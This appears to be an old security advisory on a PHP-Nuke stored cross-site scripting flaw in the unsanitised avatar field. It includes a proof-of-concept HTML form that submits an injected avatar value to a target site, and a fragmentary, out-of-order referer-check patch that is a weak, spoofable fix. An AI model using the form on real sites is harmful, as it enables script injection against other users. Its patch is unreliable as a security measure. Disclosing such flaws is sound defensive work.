A problem with PHP-Nuke could allow remote users to execute arbitrary code in the context of the web site. The problem is in the lack of sanitization of some types of input.
|
|
|
|
PHP-Nuke does not sanitize code submitted to a site from the avatar select box. Due to this, a malicious user may be able to submit embedded code from their profile page instead of an avatar. This would result in code being executed in the location where a user's avatar should normally display. This code would be executed by a victim user's browser in the context of the site.

|
|
|
<!-- START CODE --!>
|
|
<form name="Register"
|
|
action="http://NUKEDSITE/modules.php?name=Your_Account" method="post">
|
|
|
|
<b>Code ('">[code]<b ')</b><input type="text" name="user_avatar" size="30"
|
|
maxlength="30"><br><br>
|
|
|
|
<b>Username</b><input type="text" name="uname" size="30"
|
|
maxlength="255"><br><b>User ID:<input type="text" name="uid"
|
|
size="30"><input type="hidden" name="op" value="saveuser"><input
|
|
type="submit" value="Save Changes"></form>
|
|
<!-- END CODE --!>

To modify other users avatar information:
|
|
|
|
Search for "saveuser" you should get to a function that looks like this..
|
|
|
|
function saveuser($uid, $realname, $uname, $email, etc...
|
|
|
|
right underneath the function call, put this in..
|
|
|
|
$referer = getenv("HTTP_REFERER");
|
|
$nukeurl="http://digital-delusions.com";
|
|
$nukeurl2="http://digital-delusions.dyn.ee";
|
|
$nukeurl3="http://192.168.0.254";
|
|
if (substr("$referer",0,strlen($nukeurl))==$nukeurl OR
|
|
substr("$referer",0,strlen($nukeurl2))==$nukeurl2 OR
|
|
substr("$referer",0,strlen($nukeurl3))==$nukeurl3) {
|
|
|
|
make sure u change my URLs to your site's urls.

Header("Location: modules.php?name=$module_name");
|
|
}
|
|
}
|
|
}
|

before the last "}" paste this..
|

} else {
|

echo "delusion ownz j00";
